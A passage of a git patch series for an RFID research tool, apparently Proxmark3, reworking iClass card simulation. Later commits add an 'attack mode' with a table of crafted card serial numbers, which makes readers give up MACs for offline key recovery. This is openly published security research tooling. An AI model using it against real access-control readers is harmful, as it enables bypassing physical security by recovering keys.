receivedCmd[2], + receivedCmd[3], receivedCmd[4], receivedCmd[5], + receivedCmd[6], receivedCmd[7], receivedCmd[8], + respLen,respsize, + resp[0], resp[1], resp[2], + resp[3], resp[4], resp[5], + resp[6], resp[7], resp[8]); + } - + if (tracing) { //LogTrace(receivedCmd,len, rsamples, Uart.parityBits, TRUE); if(!LogTrace(receivedCmd,len, rsamples, Uart.parityBits,TRUE)) @@ -1177,6 +1193,7 @@ void doIClassSimulation(uint8_t csn[], int breakAfterMacReceived) if (respdata != NULL) { //LogTrace(respdata,respsize, rsamples, SwapBits(GetParity(respdata,respsize),respsize), FALSE); + //if(!LogTrace(resp,respLen, rsamples,SwapBits(GetParity(respdata,respsize),respsize),FALSE)) if(!LogTrace(respdata,respsize, rsamples,SwapBits(GetParity(respdata,respsize),respsize),FALSE)) { DbpString("Trace full"); @@ -1190,6 +1207,12 @@ void doIClassSimulation(uint8_t csn[], int breakAfterMacReceived) Dbprintf("%x", cmdsRecvd); LED_A_OFF(); LED_B_OFF(); + if(buttonPressed) + { + DbpString("Button pressed"); + } + + return buttonPressed; } static int SendIClassAnswer(uint8_t *resp, int respLen, int delay) diff --git a/client/cmdhficlass.c b/client/cmdhficlass.c index 9f6842b8..13ffc8ba 100644 --- a/client/cmdhficlass.c +++ b/client/cmdhficlass.c @@ -69,7 +69,6 @@ int CmdHFiClassList(const char *Cmd) uint8_t *frame; uint32_t EndOfTransmissionTimestamp = 0; - uint8_t empty[4] = {0x44,0x44,0x44,0x44}; for( i=0; i < 1900;) { @@ -91,9 +90,8 @@ int CmdHFiClassList(const char *Cmd) first_timestamp = timestamp; } - // Break and stick with current result if buffer - // was not completely full - if(memcmp(frame,empty,sizeof(empty))) break; + // Break and stick with current result if buffer was not completely full + if (frame[0] == 0x44 && frame[1] == 0x44 && frame[2] == 0x44 && frame[3] == 0x44) break; char line[1000] = ""; From fdcd43eb159b98ea8732ea4479ec1f7e38334f57 Mon Sep 17 00:00:00 2001 From: Martin Holst Swende Date: Sat, 26 Apr 2014 16:15:16 +0200 Subject: [PATCH 4/8] Fixed (?) http://www.proxmark.org/forum/viewtopic.php?id=1967, two bytes are discarded when adding crc and sending raw iso14443a commands --- armsrc/iso14443a.c | 3 +++ 1 file changed, 3 insertions(+) diff --git a/armsrc/iso14443a.c b/armsrc/iso14443a.c index 8e4082ea..cd7c9540 100644 --- a/armsrc/iso14443a.c +++ b/armsrc/iso14443a.c @@ -192,6 +192,7 @@ void AppendCrc14443a(uint8_t* data, int len) // The function LogTrace() is also used by the iClass implementation in iClass.c bool RAMFUNC LogTrace(const uint8_t * btBytes, uint8_t iLen, uint32_t timestamp, uint32_t dwParity, bool readerToTag) { + if (!tracing) return FALSE; // Return when trace is full if (traceLen + sizeof(timestamp) + sizeof(dwParity) + iLen >= TRACE_SIZE) { tracing = FALSE; // don't trace any more @@ -1859,8 +1860,10 @@ void ReaderIso14443a(UsbCommand *c) if(param & ISO14A_APPEND_CRC) { AppendCrc14443a(cmd,len); len += 2; + lenbits += 16; } if(lenbits>0) { + ReaderTransmitBitsPar(cmd,lenbits,GetParity(cmd,lenbits/8), NULL); } else { ReaderTransmit(cmd,len, NULL); From 81012e670bf7d1d6a33d292d8a2777572710ad9d Mon Sep 17 00:00:00 2001 From: Martin Holst Swende Date: Sat, 7 Jun 2014 22:00:31 +0200 Subject: [PATCH 5/8] debug in progress --- armsrc/iclass.c | 87 ++++++++++++++++++++++++++++++------------------- 1 file changed, 53 insertions(+), 34 deletions(-) diff --git a/armsrc/iclass.c b/armsrc/iclass.c index 5a4c15d0..7474598b 100644 --- a/armsrc/iclass.c +++ b/armsrc/iclass.c @@ -48,17 +48,6 @@ static int timeout = 4096; -// CARD TO READER -// Sequence D: 11110000 modulation with subcarrier during first half -// Sequence E: 00001111 modulation with subcarrier during second half -// Sequence F: 00000000 no modulation with subcarrier -// READER TO CARD -// Sequence X: 00001100 drop after half a period -// Sequence Y: 00000000 no drop -// Sequence Z: 11000000 drop at start -#define SEC_X 0x0c -#define SEC_Y 0x00 -#define SEC_Z 0xc0 static int SendIClassAnswer(uint8_t *resp, int respLen, int delay); @@ -697,8 +686,6 @@ void RAMFUNC SnoopIClass(void) int samples = 0; rsamples = 0; - memset(trace, 0x44, RECV_CMD_OFFSET); - // Set up the demodulator for tag -> reader responses. Demod.output = tagToReaderResponse; Demod.len = 0; @@ -722,6 +709,9 @@ void RAMFUNC SnoopIClass(void) FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_SNIFFER); SetAdcMuxFor(GPIO_MUXSEL_HIPKD); + uint32_t time_0 = GetCountSspClk(); + + int div = 0; //int div2 = 0; int decbyte = 0; @@ -773,8 +763,14 @@ void RAMFUNC SnoopIClass(void) rsamples = samples - Uart.samples; LED_C_ON(); - if(!LogTrace(readerToTagCmd,Uart.byteCnt, rsamples, Uart.parityBits,TRUE)) break; + //if(!LogTrace(Uart.output,Uart.byteCnt, rsamples, Uart.parityBits,TRUE)) break; //if(!LogTrace(NULL, 0, Uart.endTime*16 - DELAY_READER_AIR2ARM_AS_SNIFFER, 0, TRUE)) break; + if(tracing) + { + LogTrace(Uart.output,Uart.byteCnt, (GetCountSspClk()-time_0) << 4, Uart.parityBits,TRUE); + LogTrace(NULL, 0, (GetCountSspClk()-time_0) << 4, 0, TRUE); + } + /* And ready to receive another command. */ Uart.state = STATE_UNSYNCD; @@ -793,8 +789,11 @@ void RAMFUNC SnoopIClass(void) rsamples = samples - Demod.samples; LED_B_ON(); - if(!LogTrace(tagToReaderResponse,Demod.len, rsamples, Demod.parityBits,FALSE)) break; - //if (!LogTrace(NULL, 0, Demod.endTime*16 - DELAY_TAG_AIR2ARM_AS_SNIFFER, 0, FALSE)) break; + if(tracing) + { + LogTrace(Demod.output,Demod.len, (GetCountSspClk()-time_0) << 4 , Demod.parityBits,FALSE); + LogTrace(NULL, 0, (GetCountSspClk()-time_0) << 4, 0, FALSE); + } // And ready to receive another response. @@ -883,6 +882,8 @@ static int GetIClassCommandFromReader(uint8_t *received, int *len, int maxLen) //----------------------------------------------------------------------------- static void CodeIClassTagAnswer(const uint8_t *cmd, int len) { + //So far a dummy implementation, not used + //int lastProxToAirDuration =0; int i; ToSendReset(); @@ -891,7 +892,7 @@ static void CodeIClassTagAnswer(const uint8_t *cmd, int len) ToSend[++ToSendMax] = 0x00; ToSend[++ToSendMax] = 0x00; ToSend[++ToSendMax] = 0x00; - ToSend[++ToSendMax] = 0xff; + ToSend[++ToSendMax] = 0xff;//Proxtoair duration starts here ToSend[++ToSendMax] = 0xff; ToSend[++ToSendMax] = 0xff; ToSend[++ToSendMax] = 0x00; @@ -919,11 +920,13 @@ static void CodeIClassTagAnswer(const uint8_t *cmd, int len) ToSend[++ToSendMax] = 0x00; ToSend[++ToSendMax] = 0xff; ToSend[++ToSendMax] = 0xff; - ToSend[++ToSendMax] = 0xff; + ToSend[++ToSendMax] = 0xff; ToSend[++ToSendMax] = 0x00; ToSend[++ToSendMax] = 0x00; ToSend[++ToSendMax] = 0x00; + //lastProxToAirDuration = 8*ToSendMax - 3*8 - 3*8;//Not counting zeroes in the beginning or end + // Convert from last byte pos to length ToSendMax++; } @@ -931,8 +934,10 @@ static void CodeIClassTagAnswer(const uint8_t *cmd, int len) // Only SOF static void CodeIClassTagSOF() { - ToSendReset(); + //So far a dummy implementation, not used + //int lastProxToAirDuration =0; + ToSendReset(); // Send SOF ToSend[++ToSendMax] = 0x00; ToSend[++ToSendMax] = 0x00; @@ -942,6 +947,9 @@ static void CodeIClassTagSOF() ToSend[++ToSendMax] = 0xff; ToSend[++ToSendMax] = 0x00; ToSend[++ToSendMax] = 0xff; + +// lastProxToAirDuration = 8*ToSendMax - 3*8;//Not counting zeroes in the beginning + // Convert from last byte pos to length ToSendMax++; @@ -994,7 +1002,8 @@ void SimulateIClass(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain return; // Button pressed } } - }else{ + } + else{ // We may want a mode here where we hardcode the csns to use (from proxclone). // That will speed things up a little, but not required just yet. Dbprintf("The mode is not implemented, reserved for future use"); @@ -1008,6 +1017,7 @@ void SimulateIClass(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain */ int doIClassSimulation(uint8_t csn[], int breakAfterMacReceived) { + // CSN followed by two CRC bytes uint8_t response2[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; uint8_t response3[] = { 0,0,0,0,0,0,0,0,0,0}; @@ -1086,16 +1096,22 @@ int doIClassSimulation(uint8_t csn[], int breakAfterMacReceived) // To control where we are in the protocol int cmdsRecvd = 0; + uint32_t time_0 = GetCountSspClk(); + uint32_t t2r_time =0; + uint32_t r2t_time =0; LED_A_ON(); bool displayDebug = true; bool buttonPressed = false; while(!exitLoop) { + displayDebug = true; + LED_B_OFF(); if(!GetIClassCommandFromReader(receivedCmd, &len, 100)) { buttonPressed = true; break; } + r2t_time = GetCountSspClk(); // Okay, look at the command now. if(receivedCmd[0] == 0x0a ) { @@ -1109,7 +1125,7 @@ int doIClassSimulation(uint8_t csn[], int breakAfterMacReceived) resp = resp2; respLen = resp2Len; //order = 2; respdata = response2; respsize = sizeof(response2); - displayDebug = false; + //displayDebug = false; //DbpString("Reader requests anticollission CSN:"); } else if(receivedCmd[0] == 0x81) { // Reader selects anticollission CSN. @@ -1160,8 +1176,8 @@ int doIClassSimulation(uint8_t csn[], int breakAfterMacReceived) respsize = 0; } - if(cmdsRecvd > 999) { - DbpString("1000 commands later..."); + if(cmdsRecvd > 100) { + //DbpString("100 commands later..."); break; } else { @@ -1170,7 +1186,9 @@ int doIClassSimulation(uint8_t csn[], int breakAfterMacReceived) if(respLen > 0) { SendIClassAnswer(resp, respLen, 21); + t2r_time = GetCountSspClk(); +// } if(displayDebug) Dbprintf("R2T:(len=%d): %x %x %x %x %x %x %x %x %x\nT2R: (total/data =%d/%d): %x %x %x %x %x %x %x %x %x", len, receivedCmd[0], receivedCmd[1], receivedCmd[2], @@ -1185,21 +1203,23 @@ int doIClassSimulation(uint8_t csn[], int breakAfterMacReceived) if (tracing) { //LogTrace(receivedCmd,len, rsamples, Uart.parityBits, TRUE); - if(!LogTrace(receivedCmd,len, rsamples, Uart.parityBits,TRUE)) - { - DbpString("Trace full"); - break; - } + + LogTrace(receivedCmd,len, (r2t_time-time_0)<< 4, Uart.parityBits,TRUE); + LogTrace(NULL,0, (r2t_time-time_0) << 4, 0,TRUE); if (respdata != NULL) { //LogTrace(respdata,respsize, rsamples, SwapBits(GetParity(respdata,respsize),respsize), FALSE); //if(!LogTrace(resp,respLen, rsamples,SwapBits(GetParity(respdata,respsize),respsize),FALSE)) - if(!LogTrace(respdata,respsize, rsamples,SwapBits(GetParity(respdata,respsize),respsize),FALSE)) - { - DbpString("Trace full"); - break; - } + LogTrace(respdata,respsize, (t2r_time-time_0) << 4,SwapBits(GetParity(respdata,respsize),respsize),FALSE); + LogTrace(NULL,0, (t2r_time-time_0) << 4,0,FALSE); + + } + if(!tracing) { + DbpString("Trace full"); + //break; + } + } memset(receivedCmd, 0x44, RECV_CMD_SIZE); } @@ -1211,7 +1231,6 @@ int doIClassSimulation(uint8_t csn[], int breakAfterMacReceived) { DbpString("Button pressed"); } - return buttonPressed; } From fa541aca9602e1629ab6d57238e3abc89c9b4ac3 Mon Sep 17 00:00:00 2001 From: Martin Holst Swende Date: Sat, 7 Jun 2014 22:16:57 +0200 Subject: [PATCH 6/8] Minor changes, it may actually work now, need to test with a credentialed reader --- armsrc/iclass.c | 29 +++++------------------------ 1 file changed, 5 insertions(+), 24 deletions(-) diff --git a/armsrc/iclass.c b/armsrc/iclass.c index 7289abbc..117e4035 100644 --- a/armsrc/iclass.c +++ b/armsrc/iclass.c @@ -1092,10 +1092,11 @@ int doIClassSimulation(uint8_t csn[], int breakAfterMacReceived) // Start from off (no field generated) - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - SpinDelay(200); - - + //FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + //SpinDelay(200); + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_TAGSIM_LISTEN); + SpinDelay(100); + StartCountSspClk(); // We need to listen to the high-frequency, peak-detected path. SetAdcMuxFor(GPIO_MUXSEL_HIPKD); FpgaSetupSsc(); @@ -1107,10 +1108,8 @@ int doIClassSimulation(uint8_t csn[], int breakAfterMacReceived) uint32_t r2t_time =0; LED_A_ON(); - bool displayDebug = true; bool buttonPressed = false; while(!exitLoop) { - displayDebug = true; LED_B_OFF(); //Signal tracer @@ -1131,13 +1130,11 @@ int doIClassSimulation(uint8_t csn[], int breakAfterMacReceived) resp = resp1; respLen = resp1Len; //order = 1; respdata = &sof; respsize = sizeof(sof); - displayDebug = false; } else if(receivedCmd[0] == 0x0c) { // Reader asks for anticollission CSN resp = resp2; respLen = resp2Len; //order = 2; respdata = response2; respsize = sizeof(response2); - //displayDebug = false; //DbpString("Reader requests anticollission CSN:"); } else if(receivedCmd[0] == 0x81) { // Reader selects anticollission CSN. @@ -1199,29 +1196,13 @@ int doIClassSimulation(uint8_t csn[], int breakAfterMacReceived) if(respLen > 0) { SendIClassAnswer(resp, respLen, 21); t2r_time = GetCountSspClk(); - -// } - if(displayDebug) Dbprintf("R2T:(len=%d): %x %x %x %x %x %x %x %x %x\nT2R: (total/data =%d/%d): %x %x %x %x %x %x %x %x %x", - len, - receivedCmd[0], receivedCmd[1], receivedCmd[2], - receivedCmd[3], receivedCmd[4], receivedCmd[5], - receivedCmd[6], receivedCmd[7], receivedCmd[8], - respLen,respsize, - resp[0], resp[1], resp[2], - resp[3], resp[4], resp[5], - resp[6], resp[7], resp[8]); - } if (tracing) { - //LogTrace(receivedCmd,len, rsamples, Uart.parityBits, TRUE); - LogTrace(receivedCmd,len, (r2t_time-time_0)<< 4, Uart.parityBits,TRUE); LogTrace(NULL,0, (r2t_time-time_0) << 4, 0,TRUE); if (respdata != NULL) { - //LogTrace(respdata,respsize, rsamples, SwapBits(GetParity(respdata,respsize),respsize), FALSE); - //if(!LogTrace(resp,respLen, rsamples,SwapBits(GetParity(respdata,respsize),respsize),FALSE)) LogTrace(respdata,respsize, (t2r_time-time_0) << 4,SwapBits(GetParity(respdata,respsize),respsize),FALSE); LogTrace(NULL,0, (t2r_time-time_0) << 4,0,FALSE); From 9f6e9d15755fdaefa4fee7a660cac988721268cd Mon Sep 17 00:00:00 2001 From: Martin Holst Swende Date: Mon, 16 Jun 2014 21:27:12 +0200 Subject: [PATCH 7/8] More work on iclass simulation attack --- armsrc/apps.h | 2 +- armsrc/iclass.c | 35 +++++-- client/cmdhficlass.c | 221 +++++++++++++++++++++++++++++++++++++++---- client/cmdhficlass.h | 1 + 4 files changed, 230 insertions(+), 29 deletions(-) diff --git a/armsrc/apps.h b/armsrc/apps.h index 59be5f11..c6520702 100644 --- a/armsrc/apps.h +++ b/armsrc/apps.h @@ -191,7 +191,7 @@ void SetDebugIso15693(uint32_t flag); void RAMFUNC SnoopIClass(void); void SimulateIClass(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain); void ReaderIClass(uint8_t arg0); -int doIClassSimulation(uint8_t csn[], int breakAfterMacReceived); +//int doIClassSimulation(uint8_t csn[], int breakAfterMacReceived); // hitag2.h void SnoopHitag(uint32_t type); void SimulateHitagTag(bool tag_mem_supplied, byte_t* data); diff --git a/armsrc/iclass.c b/armsrc/iclass.c index 117e4035..be27aa3a 100644 --- a/armsrc/iclass.c +++ b/armsrc/iclass.c @@ -954,7 +954,7 @@ static void CodeIClassTagSOF() // Convert from last byte pos to length ToSendMax++; } - +int doIClassSimulation(uint8_t csn[], int breakAfterMacReceived, uint8_t *reader_mac_buf); /** * @brief SimulateIClass simulates an iClass card. * @param arg0 type of simulation @@ -977,37 +977,42 @@ void SimulateIClass(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain iso14a_clear_trace(); uint8_t csn_crc[] = { 0x03, 0x1f, 0xec, 0x8a, 0xf7, 0xff, 0x12, 0xe0, 0x00, 0x00 }; - if(simType == 0) { // Use the CSN from commandline memcpy(csn_crc, datain, 8); - doIClassSimulation(csn_crc,0); + doIClassSimulation(csn_crc,0,NULL); }else if(simType == 1) { - doIClassSimulation(csn_crc,0); + doIClassSimulation(csn_crc,0,NULL); } else if(simType == 2) { + + uint8_t mac_responses[64] = { 0 }; Dbprintf("Going into attack mode"); // In this mode, a number of csns are within datain. We'll simulate each one, one at a time // in order to collect MAC's from the reader. This can later be used in an offlne-attack // in order to obtain the keys, as in the "dismantling iclass"-paper. - for(int i = 0 ; i < numberOfCSNS && i*8+8 < USB_CMD_DATA_SIZE; i++) + int i = 0; + for( ; i < numberOfCSNS && i*8+8 < USB_CMD_DATA_SIZE; i++) { // The usb data is 512 bytes, fitting 65 8-byte CSNs in there. memcpy(csn_crc, datain+(i*8), 8); - if(doIClassSimulation(csn_crc,1)) + if(doIClassSimulation(csn_crc,1,mac_responses)) { return; // Button pressed } } + cmd_send(CMD_ACK,CMD_SIMULATE_TAG_ICLASS,i,0,mac_responses,i*8); + } else{ // We may want a mode here where we hardcode the csns to use (from proxclone). // That will speed things up a little, but not required just yet. Dbprintf("The mode is not implemented, reserved for future use"); } + Dbprintf("Done..."); } /** @@ -1015,7 +1020,7 @@ void SimulateIClass(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain * @param csn - csn to use * @param breakAfterMacReceived if true, returns after reader MAC has been received. */ -int doIClassSimulation(uint8_t csn[], int breakAfterMacReceived) +int doIClassSimulation(uint8_t csn[], int breakAfterMacReceived, uint8_t *reader_mac_buf) { // CSN followed by two CRC bytes @@ -1109,6 +1114,12 @@ int doIClassSimulation(uint8_t csn[], int breakAfterMacReceived) LED_A_ON(); bool buttonPressed = false; + + /** Hack for testing + memcpy(reader_mac_buf,csn,8); + exitLoop = true; + end hack **/ + while(!exitLoop) { LED_B_OFF(); @@ -1159,11 +1170,15 @@ int doIClassSimulation(uint8_t csn[], int breakAfterMacReceived) if (breakAfterMacReceived){ // TODO, actually return this to the caller instead of just // dbprintf:ing ... - Dbprintf("CSN: %02x %02x %02x %02x %02x %02x %02x %02x"); + Dbprintf("CSN: %02x %02x %02x %02x %02x %02x %02x %02x",csn[0],csn[1],csn[2],csn[3],csn[4],csn[5],csn[6],csn[7]); Dbprintf("RDR: (len=%02d): %02x %02x %02x %02x %02x %02x %02x %02x %02x",len, receivedCmd[0], receivedCmd[1], receivedCmd[2], receivedCmd[3], receivedCmd[4], receivedCmd[5], receivedCmd[6], receivedCmd[7], receivedCmd[8]); + if (reader_mac_buf != NULL) + { + memcpy(reader_mac_buf,receivedCmd+1,8); + } exitLoop = true; } } else if(receivedCmd[0] == 0x00 && len == 1) { @@ -1187,7 +1202,7 @@ int doIClassSimulation(uint8_t csn[], int breakAfterMacReceived) if(cmdsRecvd > 100) { //DbpString("100 commands later..."); - break; + //break; } else { cmdsRecvd++; @@ -1217,7 +1232,7 @@ int doIClassSimulation(uint8_t csn[], int breakAfterMacReceived) memset(receivedCmd, 0x44, RECV_CMD_SIZE); } - Dbprintf("%x", cmdsRecvd); + //Dbprintf("%x", cmdsRecvd); LED_A_OFF(); LED_B_OFF(); if(buttonPressed) diff --git a/client/cmdhficlass.c b/client/cmdhficlass.c index 13ffc8ba..f31bced7 100644 --- a/client/cmdhficlass.c +++ b/client/cmdhficlass.c @@ -12,6 +12,7 @@ #include #include #include +#include #include "iso14443crc.h" // Can also be used for iClass, using 0xE012 as CRC-type #include "data.h" //#include "proxusb.h" @@ -328,20 +329,19 @@ int CmdHFiClassSim(const char *Cmd) PrintAndLog("--simtype:%02x csn:%s", simType, sprint_hex(CSN, 8)); } - if(simType > 2) + if(simType > 5) { PrintAndLog("Undefined simptype %d", simType); return 1; } uint8_t numberOfCSNs=0; - UsbCommand c = {CMD_SIMULATE_TAG_ICLASS, {simType,numberOfCSNs}}; - memcpy(c.d.asBytes, CSN, 8); + if(simType == 2) + { + UsbCommand c = {CMD_SIMULATE_TAG_ICLASS, {simType,63}}; + UsbCommand resp = {0}; - if(simType == 2) - { - c.arg[1] = 10;//10 CSNs - uint8_t csns[] ={ + uint8_t csns1[] ={ /* Order Simulated CSN HASH1 Recovered key bytes */ /* 1 */ 0x00,0x0B,0x0F,0xFF,0xF7,0xFF,0x12,0xE0,// 0101000045014545 00,01 45 /* 2 */ 0x03,0x0B,0x0E,0xFE,0xF7,0xFF,0x12,0xE0,// 0202000045014545 02 @@ -373,21 +373,156 @@ int CmdHFiClassSim(const char *Cmd) /* 28 */ 0x02,0x07,0x01,0x1D,0xF7,0xFF,0x12,0xE0,// 630F000045014545 0F /* 29 */ 0x04,0x7F,0x7F,0xA7,0xF7,0xFF,0x12,0xE0,// 5911000045014545 11 /* 30 */ 0x04,0x60,0x6E,0xE8,0xF7,0xFF,0x12,0xE0,// 1822000045014545 18 - }; - memcpy(c.d.asBytes, csns, sizeof(c.d.asBytes)); + /*31*/ 0x04,0x77,0x77,0xBF,0xF7,0xFF,0x12,0xE0, // 4119000045014545 19 + /*32*/ 0x00,0x69,0x6D,0xE5,0xF7,0xFF,0x12,0xE0, // 1B23000045014545 1B + /*33*/ 0x01,0x69,0x6E,0xE2,0xF7,0xFF,0x12,0xE0, // 1E22000045014545 1E + /*34*/ 0x02,0x6B,0x6D,0xE1,0xF7,0xFF,0x12,0xE0, // 1F23000045014545 1F + /*35*/ 0x01,0x3F,0x04,0xE0,0xF7,0xFF,0x12,0xE0, // 200C000045014545 20 + /*36*/ 0x02,0x6E,0x6E,0xDC,0xF7,0xFF,0x12,0xE0, // 2422000045014545 24 + /*37*/ 0x05,0x6D,0x6E,0xDA,0xF7,0xFF,0x12,0xE0, // 2622000045014545 26 + /*38*/ 0x06,0x6F,0x6D,0xD9,0xF7,0xFF,0x12,0xE0, // 2723000045014545 27 + /*39*/ 0x01,0x6B,0x68,0xEC,0xF7,0xFF,0x12,0xE0, // 1428000045014545 28 + /*40*/ 0x04,0x6F,0x6F,0xD7,0xF7,0xFF,0x12,0xE0, // 2921000045014545 29 + /*41*/ 0x02,0x66,0x66,0xF4,0xF7,0xFF,0x12,0xE0, // 0C2A000045014545 2A + /*42*/ 0x00,0x61,0x65,0xFD,0xF7,0xFF,0x12,0xE0, // 032B000045014545 2B + /*43*/ 0x00,0x62,0x64,0xFE,0xF7,0xFF,0x12,0xE0, // 022C000045014545 2C + /*44*/ 0x01,0x65,0x62,0xFE,0xF7,0xFF,0x12,0xE0, // 022E000045014545 2E + /*45*/ 0x02,0x67,0x61,0xFD,0xF7,0xFF,0x12,0xE0, // 032F000045014545 2F + /*46*/ 0x00,0x5F,0x5B,0x13,0xF7,0xFF,0x12,0xE0, // 6D35000045014545 35 + /*47*/ 0x00,0x44,0x4E,0x48,0xF7,0xFF,0x12,0xE0, // 3842000045014545 38 + /*48*/ 0x00,0x53,0x57,0x27,0xF7,0xFF,0x12,0xE0, // 5939000045014545 39 + /*49*/ 0x00,0x49,0x4D,0x45,0xF7,0xFF,0x12,0xE0, // 3B43000045014545 3B + /*50*/ 0x01,0x49,0x4E,0x42,0xF7,0xFF,0x12,0xE0, // 3E42000045014545 3E + /*51*/ 0x02,0x4B,0x4D,0x41,0xF7,0xFF,0x12,0xE0, // 3F43000045014545 3F + /*52*/ 0x02,0x4E,0x4E,0x3C,0xF7,0xFF,0x12,0xE0, // 4442000045014545 44 + /*53*/ 0x05,0x4D,0x4E,0x3A,0xF7,0xFF,0x12,0xE0, // 4642000045014545 46 + /*54*/ 0x06,0x4F,0x4D,0x39,0xF7,0xFF,0x12,0xE0, // 4743000045014545 47 + /*55*/ 0x01,0x77,0x7C,0xB8,0xF7,0xFF,0x12,0xE0, // 4814000045014545 48 + /*56*/ 0x04,0x4F,0x4F,0x37,0xF7,0xFF,0x12,0xE0, // 4941000045014545 49 + /*57*/ 0x00,0x7A,0x7C,0xB6,0xF7,0xFF,0x12,0xE0, // 4A14000045014545 4A + /*58*/ 0x00,0x41,0x45,0x5D,0xF7,0xFF,0x12,0xE0, // 234B000045014545 4B + /*59*/ 0x00,0x42,0x44,0x5E,0xF7,0xFF,0x12,0xE0, // 224C000045014545 4C + /*60*/ 0x01,0x45,0x42,0x5E,0xF7,0xFF,0x12,0xE0, // 224E000045014545 4E + /*61*/ 0x02,0x47,0x41,0x5D,0xF7,0xFF,0x12,0xE0, // 234F000045014545 4F + /*62*/ 0x04,0x7E,0x7C,0xAE,0xF7,0xFF,0x12,0xE0, // 5214000045014545 52 + /*63*/ 0x00,0x57,0x53,0x2B,0xF7,0xFF,0x12,0xE0, // 553D000045014545 55 + }; + memcpy(c.d.asBytes, csns1, sizeof(c.d.asBytes)); - } + SendCommand(&c); + if (!WaitForResponseTimeout(CMD_ACK, &resp, -1)) { + PrintAndLog("Command timed out"); + return 0; + } - SendCommand(&c); + uint8_t num_mac_responses_1 = resp.arg[1]; + PrintAndLog("Mac responses, first part : %d MACs obtained (should be 63)", num_mac_responses_1); - /*UsbCommand * resp = WaitForResponseTimeout(CMD_ACK, 1500); - if (resp != NULL) { - uint8_t isOK = resp->arg[0] & 0xff; - PrintAndLog("isOk:%02x", isOK); - } else { - PrintAndLog("Command execute timeout"); - }*/ + UsbCommand c2 = {CMD_SIMULATE_TAG_ICLASS, {simType,63}}; + UsbCommand resp2 = {0}; + uint8_t csns2[] ={ + /*64*/ 0x04,0x3C,0x3A,0x74,0xF7,0xFF,0x12,0xE0, // 0C56000045014545 56 + /*65*/ 0x00,0x24,0x2E,0xA8,0xF7,0xFF,0x12,0xE0, // 5862000045014545 58 + /*66*/ 0x00,0x29,0x2D,0xA5,0xF7,0xFF,0x12,0xE0, // 5B63000045014545 5B + /*67*/ 0x00,0x00,0x02,0x24,0xF7,0xFF,0x12,0xE0, // 5C0E000045014545 5C + /*68*/ 0x01,0x29,0x2E,0xA2,0xF7,0xFF,0x12,0xE0, // 5E62000045014545 5E + /*69*/ 0x02,0x2B,0x2D,0xA1,0xF7,0xFF,0x12,0xE0, // 5F63000045014545 5F + /*70*/ 0x02,0x2E,0x2E,0x9C,0xF7,0xFF,0x12,0xE0, // 6462000045014545 64 + /*71*/ 0x02,0x0A,0x02,0x18,0xF7,0xFF,0x12,0xE0, // 680E000045014545 68 + /*72*/ 0x00,0x03,0x07,0x17,0xF7,0xFF,0x12,0xE0, // 6909000045014545 69 + /*73*/ 0x00,0x21,0x25,0xBD,0xF7,0xFF,0x12,0xE0, // 436B000045014545 6B + /*74*/ 0x02,0x27,0x21,0xBD,0xF7,0xFF,0x12,0xE0, // 436F000045014545 6F + /*75*/ 0x04,0x07,0x07,0x0F,0xF7,0xFF,0x12,0xE0, // 7109000045014545 71 + /*76*/ 0x00,0x04,0x0E,0x08,0xF7,0xFF,0x12,0xE0, // 7802000045014545 78 + /*77*/ 0x00,0x33,0x37,0x87,0xF7,0xFF,0x12,0xE0, // 7959000045014545 79 + /*78*/ 0x00,0x09,0x0D,0x05,0xF7,0xFF,0x12,0xE0, // 7B03000045014545 7B + /*79*/ 0x01,0x09,0x0E,0x02,0xF7,0xFF,0x12,0xE0, // 7E02000045014545 7E + /*80*/ 0x02,0x0B,0x0D,0x01,0xF7,0xFF,0x12,0xE0, // 7F03000045014545 7F + /*81*/ 0x00,0x34,0x3E,0x78,0xF7,0xFF,0x12,0xE0, // 0852000045014545 08 + /*82*/ 0x04,0x66,0x64,0xF6,0xF7,0xFF,0x12,0xE0, // 0A2C000045014545 0A + /*83*/ 0x00,0x3F,0x3B,0x73,0xF7,0xFF,0x12,0xE0, // 0D55000045014545 0D + /*84*/ 0x03,0x3B,0x3E,0x6E,0xF7,0xFF,0x12,0xE0, // 1252000045014545 12 + /*85*/ 0x00,0x11,0x15,0xED,0xF7,0xFF,0x12,0xE0, // 137B000045014545 13 + /*86*/ 0x00,0x6E,0x68,0xEA,0xF7,0xFF,0x12,0xE0, // 1628000045014545 16 + /*87*/ 0x00,0x6D,0x69,0xE9,0xF7,0xFF,0x12,0xE0, // 1727000045014545 17 + /*88*/ 0x00,0x6A,0x6C,0xE6,0xF7,0xFF,0x12,0xE0, // 1A24000045014545 1A + /*89*/ 0x00,0x40,0x42,0x64,0xF7,0xFF,0x12,0xE0, // 1C4E000045014545 1C + /*90*/ 0x00,0x77,0x73,0xCB,0xF7,0xFF,0x12,0xE0, // 351D000045014545 1D + /*91*/ 0x06,0x6E,0x72,0xD0,0xF7,0xFF,0x12,0xE0, // 301E000045014545 30 + /*92*/ 0x00,0x1B,0x1F,0xCF,0xF7,0xFF,0x12,0xE0, // 3171000045014545 31 + /*93*/ 0x01,0x75,0x72,0xCE,0xF7,0xFF,0x12,0xE0, // 321E000045014545 32 + /*94*/ 0x00,0x71,0x75,0xCD,0xF7,0xFF,0x12,0xE0, // 331B000045014545 33 + /*95*/ 0x00,0x48,0x4A,0x4C,0xF7,0xFF,0x12,0xE0, // 3446000045014545 34 + /*96*/ 0x00,0x4E,0x48,0x4A,0xF7,0xFF,0x12,0xE0, // 3648000045014545 36 + /*97*/ 0x00,0x4D,0x49,0x49,0xF7,0xFF,0x12,0xE0, // 3747000045014545 37 + /*98*/ 0x00,0x4A,0x4C,0x46,0xF7,0xFF,0x12,0xE0, // 3A44000045014545 3A + /*99*/ 0x00,0x20,0x22,0xC4,0xF7,0xFF,0x12,0xE0, // 3C6E000045014545 3C + /*100*/ 0x00,0x1C,0x66,0x40,0xF7,0xFF,0x12,0xE0, // 402A000045014545 40 + /*101*/ 0x06,0x4E,0x52,0x30,0xF7,0xFF,0x12,0xE0, // 503E000045014545 50 + 